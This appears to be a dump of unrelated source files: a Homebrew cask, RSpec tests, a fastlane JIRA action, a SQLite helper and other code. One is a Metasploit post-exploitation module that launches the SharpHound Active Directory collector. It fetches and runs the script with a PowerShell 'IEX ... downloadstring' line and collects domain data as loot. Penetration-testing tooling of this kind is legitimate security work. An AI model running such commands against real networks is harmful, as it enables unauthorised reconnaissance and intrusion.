unicode_pwd = password.encode('iso-8859-1').encode('utf-16le')
pwd_hash = nt_password_hash(unicode_pwd)
nt_key = nt_password_hash(pwd_hash)
return hexlify(nt_key)
end
def authenticate_ms_chap password, challenge, response
if ntlm_challenge_response(password, unhexlify(challenge)) == response
return "NT_KEY: " + get_nt_key(password).upcase
end
return ("NT_STATUS_UNSUCCESSFUL: Failure (0xC0000001)")
end
def authenticate_ms_chap_with_drift passwords, challenge, response
passwords.each do |password|
if ntlm_challenge_response(password, unhexlify(challenge)) == response
return "NT_KEY: " + get_nt_key(password).upcase
end
end
return ("NT_STATUS_UNSUCCESSFUL: Failure (0xC0000001)")
end
end
| 27.35514 | 103 | 0.591391 |
3914560b12319aaa433d65a6a1aa6c401b2358f2 | 967 | cask "lifesize" do
version "2.216.2929"
sha256 "2d7c2e78eb6484187d334e0f3ca1870b84a8fe649fea5b65cfd648903f04d935"
url "https://download.lifesizecloud.com/Lifesize-#{version}-mac.zip",
verified: "download.lifesizecloud.com/"
name "lifesize"
desc "Cloud contact and video conferencing"
homepage "https://www.lifesize.com/"
livecheck do
url "https://download.lifesizecloud.com/update?version=0.0.0"
regex(/Lifesize[._-]v?(\d+(?:\.\d+)+)-mac\.zip/i)
end
auto_updates true
app "Lifesize.app"
zap trash: [
"~/Library/Application Support/Lifesize",
"~/Library/Caches/com.lifesize.cloud",
"~/Library/Caches/com.lifesize.cloud.ShipIt",
"~/Library/HTTPStorages/com.lifesize.cloud",
"~/Library/LaunchAgents/com.lifesize.LifesizeAppService.agent.plist",
"~/Library/Logs/Lifesize",
"~/Library/Preferences/com.lifesize.cloud.plist",
"~/Library/Saved Application State/com.lifesize.cloud.savedState",
]
end
| 31.193548 | 75 | 0.711479 |
1d67a0d5c15f5e8b19769f149ab899869dee4a2e | 7,528 | class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer
include Msf::Post::Windows::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BloodHound Ingestor',
'Description' => %q{
This module will execute the BloodHound C# Ingestor (aka SharpHound) to gather sessions, local admin, domain trusts and more.
With this information BloodHound will easily identify highly complex attack paths that would otherwise be impossible to quickly
identify within an Active Directory environment.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h4ng3r <[email protected]>',
'h00die'
],
'References' => [ 'URL', 'https://github.com/BloodHoundAD/BloodHound/' ],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Notes' => {
'AKA' => ['sharphound'],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('CollectionMethod', [true, 'The collection method to use. This parameter accepts a comma separated list of values. Accepted values are Default, Group, LocalAdmin, RDP, DCOM, GPOLocalGroup, Session, ObjectProps, ComputerOnly, LoggedOn, Trusts, ACL, Container, DcOnly, All', 'Default']),
OptString.new('Domain', [false, 'Specifies the domain to enumerate. If not specified, will enumerate the current domain your user context specifies']),
OptBool.new('Stealth', [true, 'Use stealth collection options, will sacrifice data quality in favor of much reduced network impact', false]),
OptBool.new('ExcludeDomainControllers', [true, 'Exclude domain controllers from session queries. Useful for ATA environments which detect this behavior', false]),
OptString.new('DomainController', [false, 'Specify which Domain Controller to request data from. Defaults to closest DC using Site Names']),
OptInt.new('LdapPort', [false, 'Override the port used to connect to LDAP']),
OptBool.new('SecureLdap', [false, 'Uses LDAPs instead of unencrypted LDAP on port 636']),
# these were never implemented
# OptString.new('LDAPUsername', [false, 'User to connect to LDAP with', 'Default']),
# OptString.new('LDAPPassword', [false, 'Password for user you are connecting to LDAP with']),
OptString.new('DisableKerbSigning', [false, 'Disables Kerberos Signing on requests', false]),
OptPath.new('OutputDirectory', [false, 'Folder to write json output to. Default is Windows temp']),
OptEnum.new('Method', [true, 'Method to run Sharphound with', 'download', ['download', 'disk']]),
OptBool.new('EncryptZip', [false, 'If the zip should be password protected', true]),
OptBool.new('NoSaveCache', [false, 'Dont save the cache file to disk', true]),
OptString.new('ZipFileName', [false, 'Zip Output File Name. Blank for random', '']),
])
end
# Options removed or changed in sharphound v2 to sharphound v3
# Removed:
# SearchForest
# OU
# IgnoreLdapCert
# Threads
# PingTimeout
# SkipPing
# LoopDelay
# MaxLoopTime
# SkipGCDeconfliction
# Renamed:
# ExcludeDc -> ExcludeDomainControllers
# LDAPUser -> LDAPUsername
# LDAPPass -> LDAPPassword
# JSONFolder -> OutputDirectory
def sharphound_ps1
File.join(Msf::Config.data_directory, 'post', 'powershell', 'SharpHound.ps1')
end
def sharphound_exe
File.join(Msf::Config.data_directory, 'post', 'SharpHound.exe')
end
def on_request_uri(cli, _request)
base_script = File.read(sharphound_ps1)
send_response(cli, base_script)
end
def download_run
start_service
uri = get_uri
"IEX (new-object net.webclient).downloadstring('#{uri}')"
end
def disk_run
name = "#{pwd}\\#{Rex::Text.rand_text_alpha_lower(4..10)}.exe"
vprint_status "Uploading sharphound.exe as #{name}"
upload_file(name, sharphound_exe)
return ". #{name}"
end
def run
if !have_powershell?
fail_with(Failure::Unknown, 'PowerShell is not installed')
end
extra_params = ''
if datastore['Domain']
extra_params += "-Domain #{datastore['Domain']} "
end
if datastore['Stealth']
extra_params += '-Stealth '
end
if datastore['SkipGCDeconfliction']
extra_params += '-SkipGCDeconfliction '
end
if datastore['ExcludeDomainControllers']
extra_params += '-ExcludeDomainControllers '
end
if datastore['DomainController']
extra_params += "-DomainController #{datastore['DomainController']} "
end
if datastore['LdapPort']
extra_params += "-LdapPort #{datastore['LdapPort']} "
end
if datastore['SecureLdap']
extra_params += '-SecureLdap '
end
if datastore['EncryptZip']
extra_params += '-EncryptZip '
end
if datastore['NoSaveCache']
extra_params += '-NoSaveCache '
end
# these options are only added if they aren't the sharphound default
unless datastore['CollectionMethod'] == 'Default'
extra_params += "-CollectionMethod #{datastore['CollectionMethod']}"
end
tmp_path = datastore['OutputDirectory'] || get_env('TEMP')
zip_name = datastore['ZipFileName'].empty? ? Rex::Text.rand_text_alpha_lower(4..10) : datastore['ZipFileName']
if datastore['Method'] == 'download'
command = download_run
invoker = "Invoke-BloodHound -OutputDirectory \"#{tmp_path}\" -ZipFileName #{zip_name} #{extra_params}"
elsif datastore['Method'] == 'disk'
command = disk_run
exe = command.sub('. ', '') # so we get the filename again
# for exe, we move invoker into command to run more friendly
invoker = ''
command = "#{command} -OutputDirectory \"#{tmp_path}\" -ZipFileName #{zip_name} #{extra_params}"
command.gsub!('-', '--')
command.gsub!(/(--[a-zA-Z]+ )/, &:downcase) # exe only uses downcase
end
print_status("Loading BloodHound with: #{command}")
print_status("Invoking BloodHound with: #{invoker}") unless invoker.empty?
process, _pid, _c = execute_script("#{command}; #{invoker}")
while (line = process.channel.read)
line.split("\n").map { |s| print_status(s) }
m = line.match(/Compressing data to (.*\.zip)/)
sleep 30 # a final wait just in case we caught the text prior to the zip happening
next unless m
zip_path = m[1]
p = store_loot('windows.ad.bloodhound', 'application/zip', session, read_file(zip_path), File.basename(zip_path))
print_good("Downloaded #{zip_path}: #{p}")
rm_f(zip_path)
# the line *after* 'Compressing data to...' is the zip password.
if datastore['EncryptZip']
zip_pass = nil
# older versions or powershell may have 2 spaces, exe v3 has 1
unless /Password for Zip file is (?<zip_pass>.*)\./ =~ line
# try one last time incase we hit right after the zip statement, but before the password statement
/Password for Zip file is (?<zip_pass>.*)\./ =~ process.channel.read
end
print_good "Zip password: #{zip_pass}"
report_note(host: session,
data: "Bloodhound/Sharphound loot #{p} password is #{zip_pass}",
type: 'Sharphound Zip Password')
end
break
end
if datastore['Method'] == 'disk'
vprint_status "Deleting #{exe}"
rm_f exe
end
end
end
| 39.208333 | 305 | 0.652896 |
6141b65267bcda37c86f97f109038d8412a8a322 | 245 | require 'rails_helper'
RSpec.describe "Attendances", type: :request do
describe "GET /attendances" do
it "works! (now write some real specs)" do
get attendances_path
expect(response).to have_http_status(200)
end
end
end
| 22.272727 | 47 | 0.706122 |
1acc9a47b74ac2b0ed54e9230c56fbc347047ace | 627 | module Pione
module PNML
# `AmbiguousNetQueryResult` is an exception that raised when reuslt of net
# query is ambigous unexpectedly.
class AmbiguousNetQueryResult < StandardError
# @param name [String]
# net query method name
# @param query [Object]
# the query
# @param result [Object]
# the result
def initialize(name, query, result)
@name = name
@query = query
@result = result
end
def message
"The result of net query(%s, %s) is ambiguous: %s" % [@name, @query.inspect, @result.inspect]
end
end
end
end
| 26.125 | 101 | 0.602871 |
11263f652b0ff0c0fb2f9a6e0aed84bca8dd9bc8 | 563 | require 'rails_helper'
RSpec.describe 'Homes', type: :request do
describe 'Visited by Anonymous user' do
it 'GET/ Homed#index: it display home page ' do
get home_index_path
expect(response).to have_http_status(:success)
end
end
describe 'Visited by signed_in user' do
before do
@user = FactoryBot.create(:user, name: 'logged_user')
login_as(@user, scope: :user)
end
it 'GET/ Home#index: it display home page ' do
get home_index_path
expect(response).to have_http_status(:success)
end
end
end
| 24.478261 | 59 | 0.676732 |
0198cc29947bc62e4e3894e31b79d4a96b667575 | 1,038 | Puppet::Type.newtype(:keystone_user_role) do
desc <<-EOT
This is currently used to model the creation of
keystone users roles.
User roles are an assigment of a role to a user on
a certain tenant. The combintation of all of these
attributes is unique.
EOT
ensurable
newparam(:name, :namevar => true) do
newvalues(/^\S+@\S+$/)
#munge do |value|
# matchdata = /(\S+)@(\S+)/.match(value)
# {
# :user => matchdata[1],
# :tenant => matchdata[2]
# }
#nd
end
newproperty(:roles, :array_matching => :all) do
end
newproperty(:id) do
validate do |v|
raise(Puppet::Error, 'This is a read only property')
end
end
autorequire(:keystone_user) do
self[:name].split('@', 2).first
end
autorequire(:keystone_tenant) do
self[:name].split('@', 2).last
end
autorequire(:keystone_role) do
self[:roles]
end
# we should not do anything until the keystone service is started
autorequire(:service) do
['keystone']
end
end
| 19.961538 | 67 | 0.622351 |
ac99e3e20d80302eb8b578079d11ab43a5b57966 | 3,606 | require_relative "flag"
# This module generates Flags with a specific domain.
# For an explaination of the domain of a {Flag} see the documentation of the
# {Flag} class.
module FlagFactory
# Generates a normal GCC flag.
# Examples: -fomit-frame-pointer/-fno-omit-frame-pointer, -ffp-contract=fast
# @param name [String] The name of the flag.
# @param domain [:boolean,:boolean_no,Array<String>,Range] The domain of the flag. For a further explaintion how this is used, see the documentation of the {Flag} class.
# @param prefix [String] The prefix of the flag. For instance the prefix for machine dependent options is "-m". This defaults to "-f".
# @param delimiter [String] If the domain is non-boolean this delimiter is used by the string representation function to delimit flag name and flag value.
# @param groups [Array<String>] Array of Strings that denote the groups, that this flag is a member in. For more information on this concept see the documentation of the {Flag} class
def FlagFactory.generate_gcc_flag(name, domain, prefix="-f", delimiter="=",
groups=[])
case domain
when Range, Array
# -mmemcpy-strategy=loop
representation = lambda do |value|
"%s%s%s%s" % [prefix, name, delimiter, value]
end
when :boolean
# -fomit-framepointer
representation = lambda do |value|
value ? "%s%s" % [prefix, name] : nil
end
when :boolean_no
# -mno-mmx
representation = lambda do |value|
prefix + (value ? "" : "no-") + name
end
end
flag = Flag.new(name, domain, representation, groups)
end
# Generates a define flag.
# Example: -DDEBUG=3
# @param name [String] The name of the flag.
# @param domain [:boolean,:boolean_no,Array<String>,Range] The domain of the flag. For a further explaintion how this is used, see the documentation of the {Flag} class.
# @param groups [Array<String>] Array of Strings that denote the groups, that this flag is a member in. For more information on this concept see the documentation of the {Flag} class
def FlagFactory.generate_gcc_define_flag(name, domain, groups=[])
generate_gcc_flag(name, domain, "-D", groups)
end
# Generates a define flag.
# Example: -march=native
# @param name [String] The name of the flag.
# @param domain [:boolean,:boolean_no,Array<String>,Range] The domain of the flag. For a further explaintion how this is used, see the documentation of the {Flag} class.
# @param groups [Array<String>] Array of Strings that denote the groups, that this flag is a member in. For more information on this concept see the documentation of the {Flag} class
def FlagFactory.generate_gcc_machine_flag(name, domain, groups=[])
generate_gcc_flag(name, domain, "-m", groups)
end
# Generates a define flag.
# Example: --param predictable-branch-outcome=10
# @param name [String] The name of the flag.
# @param domain [:boolean,:boolean_no,Array<String>,Range] The domain of the flag. For a further explaintion how this is used, see the documentation of the {Flag} class.
# @param groups [Array<String>] Array of Strings that denote the groups, that this flag is a member in. For more information on this concept see the documentation of the {Flag} class
def FlagFactory.generate_gcc_param_flag(name, domain, groups=[])
raise ArgumentError,
"--param arguments can only have ranges" unless domain.is_a Range
Flag.new(name, domain,
lambda do |value|
"--param %s=%s" % [name, value]
end, groups)
end
end
| 53.029412 | 184 | 0.698281 |
ff874ed11ed0ac9527a2fdb749bb08371ff00844 | 897 | require 'csv'
task oe_csv: :environment do
Kernel.puts 'Creating taxonomy.csv based on Open Eligibility...'
json ||= JSON.parse(File.read('data/oe.json'))
top_levels ||= json['taxonomy']['top_level']
CSV.open(
'data/taxonomy.csv',
'w',
write_headers: true,
headers: %w[taxonomy_id name parent_id parent_name]
) do |writer|
top_levels.each do |hash|
writer << [hash['@id'], hash['@title'], nil, nil]
hash['second_level'].each do |h|
writer << [h['@id'], h['@title'], hash['@id'], hash['@title']]
next if h['third_level'].nil?
h['third_level'].each do |i|
writer << [i['@id'], i['@title'], h['@id'], h['@title']]
next if i['fourth_level'].nil?
i['fourth_level'].each do |j|
writer << [j['@id'], j['@title'], i['@id'], i['@title']]
end
end
end
end
end
end
| 26.382353 | 70 | 0.540691 |
7a58cf76be3fa222cf7dea27ad2e95ae73b37a2a | 45 | module BlackViewTool
VERSION = "0.1.0"
end
| 11.25 | 20 | 0.711111 |
f80ed2bd2df17b5ff9eefbb7fcde7c112c07f98e | 6,561 | module Fastlane
module Actions
class JiraReleaseNotesAction < Action
def self.run(params)
Actions.verify_gem!('jira-ruby')
require 'jira-ruby'
client = JIRA::Client.new(
username: params[:username],
password: params[:password],
site: params[:url],
context_path: '',
auth_type: :basic
)
version = params[:version]
project = params[:project]
status = params[:status]
max_results = params[:max_results].to_i
issues = []
UI.message("Fetch issues from JIRA project '#{project}', version '#{version}'")
begin
if version.kind_of?(Regexp)
versions = client.Project.find(project).versions
.select { |v| version.match(v.name) }
.map { |v| "'#{v.name}'" } .join(', ')
jql = "PROJECT = '#{project}' AND fixVersion in (#{versions})"
else
jql = "PROJECT = '#{project}' AND fixVersion = '#{version}'"
end
unless status.nil? or status.empty?
jql += " AND status = '#{status}'"
end
issues = client.Issue.jql(jql,max_results: max_results)
rescue JIRA::HTTPError => e
fields = [e.code, e.message]
fields << e.response.body if e.response.content_type == "application/json"
UI.user_error!("#{e} #{fields.join(', ')}")
end
UI.success("📝 #{issues.count} issues from JIRA project '#{project}', version '#{version}', status '#{status}'")
case params[:format]
when "plain"
Helper::JiraReleaseNotesHelper.plain_format(issues)
when "html"
Helper::JiraReleaseNotesHelper.html_format(issues, params[:url])
else
issues
end
end
#####################################################
# @!group Documentation
#####################################################
def self.description
"Jira release notes"
end
def self.details
"Fetch release notes for Jira project for version"
end
def self.return_value
"List of issues from jira. Formatted string or class"
end
def self.return_type
:string
end
def self.available_options
[
FastlaneCore::ConfigItem.new(key: :url,
env_name: "FL_JIRA_SITE",
description: "URL for Jira instance",
verify_block: proc do |value|
UI.user_error!("No url for Jira given") if value.to_s.length == 0
end),
FastlaneCore::ConfigItem.new(key: :username,
env_name: "FL_JIRA_USERNAME",
description: "Username for Jira instance",
verify_block: proc do |value|
UI.user_error!("No username") if value.to_s.length == 0
end),
FastlaneCore::ConfigItem.new(key: :password,
env_name: "FL_JIRA_PASSWORD",
description: "Password or api token for Jira",
sensitive: true,
verify_block: proc do |value|
UI.user_error!("No password") if value.to_s.length == 0
end),
FastlaneCore::ConfigItem.new(key: :project,
env_name: "FL_JIRA_PROJECT",
description: "Jira project name",
sensitive: true,
verify_block: proc do |value|
UI.user_error!("No Jira project name") if value.to_s.length == 0
end),
FastlaneCore::ConfigItem.new(key: :status,
env_name: "FL_JIRA_STATUS",
description: "Jira issue status",
sensitive: true,
default_value: ""),
FastlaneCore::ConfigItem.new(key: :version,
env_name: "FL_JIRA_PROJECT_VERSION",
description: "Jira project version",
sensitive: true,
is_string: false,
verify_block: proc do |value|
UI.user_error!("'version' value must be a String or Regexp! Found #{value.class} instead.") unless value.kind_of?(String) || value.kind_of?(Regexp)
UI.user_error!("No Jira project version") if value.to_s.length == 0
end),
FastlaneCore::ConfigItem.new(key: :format,
env_name: "FL_JIRA_RELEASE_NOTES_FORMAT",
description: "Format text. Plain, html or none",
sensitive: true,
default_value: "plain"),
FastlaneCore::ConfigItem.new(key: :max_results,
env_name: "FL_JIRA_RELEASE_NOTES_MAX_RESULTS",
description: "Maximum number of issues",
default_value: "50")
]
end
def self.authors
["Alexander Ignition"]
end
def self.is_supported?(platform)
true
end
def self.example_code
[
'notes = jira_release_notes(
url: "https://bugs.yourdomain.com",
username: "Your username",
password: "Your password",
project: "ABC",
version: "1.0"
)
gym
crashlytics(notes: notes)',
'notes = jira_release_notes(
project: "ABC",
version: "1.0",
format: "html"
)
gym
slack(message: notes)'
]
end
def self.category
:misc
end
end
end
end
| 39.763636 | 188 | 0.440329 |
f89e478a263906fa2b863225e794d920853513c5 | 1,406 | module SQLite
class Database
def replace(table, hash)
keys = []
values = []
params = []
hash.each { |k,v| keys << k; params << '?'; values << v }
self.exec %Q{ replace into #{table}
(#{keys.join(',')})
values (#{params.join(",")}) }, values
end
def field(table, field, where)
stmt = prepare %Q{ select #{field} from #{table} where #{where} }
if stmt.step() != SQLITE_ROW
finalize stmt
return nil
end
value = stmt[0]
finalize stmt
return value
end
def delete(table, where)
self.exec %Q{ delete from #{table} where #{where} }
end
def exists?(table, where)
res = prepare %Q{ select count(*) from #{table} where #{where} }
if stmt.step() != SQLITE_ROW
finalize stmt
return false
end
value = stmt[0].to_i
finalize stmt
return value == 0 ? false : true
end
end # class SQLite
end # module Database
class TestDatabase < MiniTest::Test
def setup()
@db = SQLite::Database.new()
rc = @db.open("#{$test_dir}/files/foods.db")
if rc != SQLITE_OK
puts @db.error()
end
end
def teardown()
end
def test_replace()
# TODO
end
def test_field()
# TODO
end
def test_delete()
# TODO
end
def test_exit()
# TODO
end
end # class TestRecordset
| 16.541176 | 69 | 0.544097 |
e20d8f5b3078d2ab9a266a1bcd809204c1adc5a1 | 730 | $:.push File.expand_path("../lib", __FILE__)
# Maintain your gem's version:
require "nite_dependencies/version"
# Describe your gem and declare its dependencies:
Gem::Specification.new do |s|
s.name = "nite_dependencies"
s.version = "0.0.2"
s.authors = ["Nadav Blum"]
s.email = ["[email protected]"]
s.homepage = ""
s.summary = "Add polymoriphic dependencies logic to NITE's apps"
s.description = ""
s.license = "MIT"
s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.rdoc"]
s.test_files = Dir["test/**/*"]
# s.add_dependency "rails", "~> 4.2.5.1"
s.add_dependency "rails","~> 5.1.0" # "~> 4.1"
s.add_development_dependency "sqlite3"
end
| 29.2 | 85 | 0.621918 |
186bb43c82543f0202f047b6bb9016e976a8ed4d | 1,872 | class Librespot < Formula
desc "Open Source Spotify client library"
homepage "https://github.com/librespot-org/librespot"
url "https://github.com/librespot-org/librespot/archive/refs/tags/v0.4.1.tar.gz"
sha256 "ae3ce1f3bd0031cac687eb60e08abb2d327ba51623c583765eda70376d69a71f"
license "MIT"
head "https://github.com/librespot-org/librespot.git", branch: "dev"
bottle do
sha256 cellar: :any_skip_relocation, arm64_monterey: "1aea917c417867850ab16db7f7675fbf50a940dbe8453960cbc8136f36fa29ea"
sha256 cellar: :any_skip_relocation, arm64_big_sur: "bca119a263b2707c4f32cb7668df0e012cb2c7fec3c87dc5fbc1477057f02404"
sha256 cellar: :any_skip_relocation, monterey: "fa4f1a01eaec9a1e2607dc247f815dfed25297b0c805c88560abc4d56794b706"
sha256 cellar: :any_skip_relocation, big_sur: "4515f7262b393274dc4c7705e237ee31e3987100ab524724e559176f8a2222a6"
sha256 cellar: :any_skip_relocation, catalina: "11fbd6651d565f89bacc828813189ba18a74903be4e20b52841cc4614957c4be"
sha256 cellar: :any_skip_relocation, x86_64_linux: "d23317fd582b31581629249b51bdf66d285e9754ce8f263419f733fb6ac4247c"
end
depends_on "rust" => :build
on_linux do
depends_on "pkg-config" => :build
depends_on "alsa-lib"
depends_on "avahi"
end
def install
ENV["COREAUDIO_SDK_PATH"] = MacOS.sdk_path.to_s if OS.mac?
system "cargo", "install", "--no-default-features", "--features", "rodio-backend,with-dns-sd", *std_cargo_args
end
test do
require "open3"
require "timeout"
Open3.popen3({ "RUST_LOG" => "DEBUG" }, "#{bin}/librespot", "-v") do |_, _, stderr, wait_thr|
Timeout.timeout(5) do
stderr.each do |line|
refute_match "ERROR", line
break if line.include? "Zeroconf server listening"
end
end
ensure
Process.kill("INT", wait_thr.pid)
end
end
end
| 39.829787 | 123 | 0.740385 |
f72b6f831e5d74846b35144550d472aa1dd5ed0d | 38 | module Vmail
VERSION = '2.9.11'
end
| 9.5 | 20 | 0.657895 |
38a3ec92417195ddd1822af0a48c0c3052b8b372 | 384 | # frozen_string_literal: true
RSpec.configure do |config|
config.before(:suite) do
DatabaseCleaner.clean_with(:truncation)
end
config.before(:all) do
DatabaseCleaner.strategy = :truncation
DatabaseCleaner.start
end
config.before(:each, js: true) do
DatabaseCleaner.strategy = :truncation
end
config.after(:all) do
DatabaseCleaner.clean
end
end
| 18.285714 | 43 | 0.726563 |
61796cc9dbd829c1340e9dd22327219bccb24835 | 533 | class SessionsController < Devise::SessionsController
def create
auth = Authentication.new(sign_in_params)
if auth.authenticate
render json: {
message: 'Login successful!',
user: {
token: auth.generate_token,
email: auth.email
}
}, status: :ok
else
render json: { errors: { 'email or password' => ['is invalid'] } }, status: :unprocessable_entity
end
end
private
def sign_in_params
params.require(:user).permit(:email, :password)
end
end
| 22.208333 | 103 | 0.622889 |
18438976b3d4d2514d1b4d8ddf644b9ee4e0ec11 | 2,119 | require 'rails_helper'
RSpec.describe User, :type => :model do
subject (:user) { FactoryGirl.create(:user) }
it { should have_many(:following_tags) }
it { should have_many(:articles) }
it { should have_many(:stocked_articles) }
it { should have_many(:stocks) }
it { should have_many(:comments) }
it { should have_many(:notification_targets) }
it { should have_many(:notifications) }
it { should validate_presence_of(:name) }
it { should validate_presence_of(:email) }
describe :stock? do
let (:article) { FactoryGirl.create (:article) }
context "with stocked article" do
before do
stock = FactoryGirl.create(:stock, user_id: user.id, article_id: article.id)
end
it "returns true" do
expect(user.stock?(article)).to be_truthy
end
end
context "with unstocked article" do
before do
stock = FactoryGirl.create(:stock, article_id: article.id)
end
it "returns false" do
expect(user.stock?(article)).to be_falsy
end
end
end
describe :stock do
let (:article) { FactoryGirl.create(:article) }
before do
user.stock(article)
end
it "stocks article" do
expect(user.stock?(article)).to be_truthy
end
end
describe :unstock do
let (:article) { FactoryGirl.create(:article, :with_stock) }
subject (:user) { article.stocks[0].user }
before do
user.unstock(article)
end
it "doesn't stock article" do
expect(user.stock?(article)).to be_falsy
end
end
describe "follow" do
let (:article) { FactoryGirl.create(:article, :with_tag) }
before do
user.follow(article.tag_list.first)
end
it "follow tag" do
expect(user.following_tag_list).to eq([article.tag_list.first])
end
end
describe "unfollow" do
let (:article) { FactoryGirl.create(:article, :with_tag) }
before do
user.following_tag_list << article.tag_list.first
user.save
user.unfollow(article.tag_list)
end
it "follow tag" do
expect(user.following_tag_list).to eq([])
end
end
end
| 22.542553 | 84 | 0.648419 |
1cc8e1919c02a6a41291283084da11644b6e7e9e | 2,983 | # frozen_string_literal: true
require 'rails_helper'
describe ReminderSender do
describe '.send_all' do
it 'sends reminders for each of the upcoming events' do
upcoming_event = create(:event, starts_at: 1.day.from_now, ends_at: 2.days.from_now)
past_event = create(:event)
past_event.event_sessions.first.update(starts_at: 2.days.ago, ends_at: 1.day.ago)
expect(described_class).to receive(:remind_attendees_for_event).once.with(upcoming_event)
described_class.send_all_reminders
end
end
describe '.remind_attendees_for_event' do
let(:event) { create(:event, student_rsvp_limit: 1) }
before do
create(:volunteer_rsvp, event: event)
create(:student_rsvp, event: event)
create(:volunteer_rsvp, reminded_at: Time.zone.now, event: event)
create(:student_rsvp, waitlist_position: 1, event: event)
end
it 'sends emails to all the students' do
pending_reminder_count = event.rsvps.confirmed.where('reminded_at IS NULL').count
expect(pending_reminder_count).to be >= 0
expect do
described_class.remind_attendees_for_event(event)
end.to change(ActionMailer::Base.deliveries, :count).by(pending_reminder_count)
expect do
described_class.remind_attendees_for_event(event)
end.not_to change(ActionMailer::Base.deliveries, :count)
end
describe 'when there is a volunteer-only session occuring before the all-attendees session' do
before do
event.event_sessions.first.update(starts_at: 4.days.from_now, ends_at: 5.days.from_now)
volunteer_session = create(:event_session, event: event, starts_at: 2.days.from_now, ends_at: 3.days.from_now, required_for_students: false, volunteers_only: true)
create(:volunteer_rsvp, event: event).tap do |rsvp|
rsvp.rsvp_sessions.create(event_session: volunteer_session)
end
end
it 'sends volunteers a session reminder' do
expect(RsvpMailer).to receive(:reminder_for_session).once.and_call_original
expect do
described_class.remind_attendees_for_event(event)
end.to change(ActionMailer::Base.deliveries, :count).by(1)
expect do
described_class.remind_attendees_for_event(event)
end.not_to change(ActionMailer::Base.deliveries, :count)
end
end
end
describe 'querying for events and sessions' do
let!(:event_tomorrow) { create(:event, starts_at: Time.zone.now + 1.day) }
before do
# future
create(:event, starts_at: Time.zone.now + 4.days)
# yesterday
create(:event).update(starts_at: 2.days.ago, ends_at: 1.day.ago)
end
describe UpcomingEventsQuery do
let(:events) do
[].tap do |found_events|
described_class.new.find_each { |e| found_events << e }
end
end
it 'includes only events in the next three days' do
expect(events).to eq([event_tomorrow])
end
end
end
end
| 33.897727 | 171 | 0.697285 |
394cc06e37eb13696ddbf4acd8c47f97cfee1e57 | 396 | class AddIndexToResourcePkOnScientificNames < ActiveRecord::Migration[4.2]
def change
# This is a resonable default, for things that HAD been harvested... it will screw up synonyms, but there's no way
# to fix without reharvesting them:
ScientificName.where('resource_pk IS NULL').update_all('resource_pk = node_resource_pk')
add_index :scientific_names, :resource_pk
end
end
| 44 | 118 | 0.767677 |
6aa9f2b75559f2865f6442637b5ff30509781a99 | 290 | require 'test_helper'
class SendEnvelopeControllerTest < ActionDispatch::IntegrationTest
test "should get index" do
get send_envelope_index_url
assert_response :success
end
test "should get create" do
get send_envelope_create_url
assert_response :success
end
end
| 19.333333 | 66 | 0.775862 |
e24a65aaa921f3fc45ce2b36d37e410e3277266c | 421 | require "bundler/setup"
require "salt"
RSpec.configure do |config|
# Enable flags like --only-failures and --next-failure
config.example_status_persistence_file_path = ".rspec_status"
# Disable RSpec exposing methods globally on `Module` and `main`
config.disable_monkey_patching!
config.expect_with :rspec do |c|
c.syntax = :expect
end
end
# Copyright (C) 2019 by Risk Focus Inc. All rights reserved
| 26.3125 | 66 | 0.748219 |
e26661a8f4107e030b1c479059bdc747a590e092 | 5,359 | describe "VM Retirement Management" do
before(:each) do
miq_server = EvmSpecHelper.local_miq_server
@zone = miq_server.zone
@ems = FactoryGirl.create(:ems_vmware, :zone => @zone)
@vm = FactoryGirl.create(:vm_vmware, :ems_id => @ems.id)
end
it "#retirement_check" do
expect(MiqEvent).to receive(:raise_evm_event).once
@vm.update_attributes(:retires_on => 90.days.ago, :retirement_warn => 60, :retirement_last_warn => nil)
expect(@vm.retirement_last_warn).to be_nil
expect_any_instance_of(@vm.class).to receive(:retire_now).once
@vm.retirement_check
@vm.reload
expect(@vm.retirement_last_warn).not_to be_nil
expect(Time.now.utc - @vm.retirement_last_warn).to be < 30
end
it "#start_retirement" do
expect(@vm.retirement_state).to be_nil
@vm.start_retirement
@vm.reload
expect(@vm.retirement_state).to eq("retiring")
end
it "#retire_now" do
expect(MiqEvent).to receive(:raise_evm_event).once
@vm.retire_now
end
it "#retire_now with userid" do
event_name = 'request_vm_retire'
event_hash = {:vm => @vm, :host => @vm.host, :type => "ManageIQ::Providers::Vmware::InfraManager::Vm",
:retirement_initiator => "user", :userid => 'freddy'}
options = {:zone => @zone.name}
expect(MiqEvent).to receive(:raise_evm_event).with(@vm, event_name, event_hash, options).once
@vm.retire_now('freddy')
end
it "#retire_now without userid" do
event_name = 'request_vm_retire'
event_hash = {:vm => @vm, :host => @vm.host, :type => "ManageIQ::Providers::Vmware::InfraManager::Vm",
:retirement_initiator => "system"}
options = {:zone => @zone.name}
expect(MiqEvent).to receive(:raise_evm_event).with(@vm, event_name, event_hash, options).once
@vm.retire_now
end
it "#retire warn" do
expect(AuditEvent).to receive(:success).once
options = {}
options[:warn] = 2.days.to_i
@vm.retire(options)
@vm.reload
expect(@vm.retirement_warn).to eq(options[:warn])
end
it "#retire date" do
expect(AuditEvent).to receive(:success).once
options = {}
options[:date] = Time.zone.today
@vm.retire(options)
@vm.reload
expect(@vm.retires_on).to eq(options[:date])
end
it "#finish_retirement" do
expect(@vm.retirement_state).to be_nil
@vm.finish_retirement
@vm.reload
expect(@vm.retired).to eq(true)
expect(@vm.retires_on).to be_between(Time.zone.now - 1.hour, Time.zone.now + 1.second)
expect(@vm.retirement_state).to eq("retired")
end
it "#retiring - false" do
expect(@vm.retirement_state).to be_nil
expect(@vm.retiring?).to be_falsey
end
it "#retiring - true" do
@vm.update_attributes(:retirement_state => 'retiring')
expect(@vm.retiring?).to be_truthy
end
it "#error_retiring - false" do
expect(@vm.retirement_state).to be_nil
expect(@vm.error_retiring?).to be_falsey
end
it "#error_retiring - true" do
@vm.update_attributes(:retirement_state => 'error')
expect(@vm.error_retiring?).to be_truthy
end
it "#retires_on - today" do
expect(@vm.retirement_due?).to be_falsey
@vm.retires_on = Time.zone.today
expect(@vm.retirement_due?).to be_truthy
end
it "#retires_on - tomorrow" do
expect(@vm.retirement_due?).to be_falsey
@vm.retires_on = Time.zone.today + 1
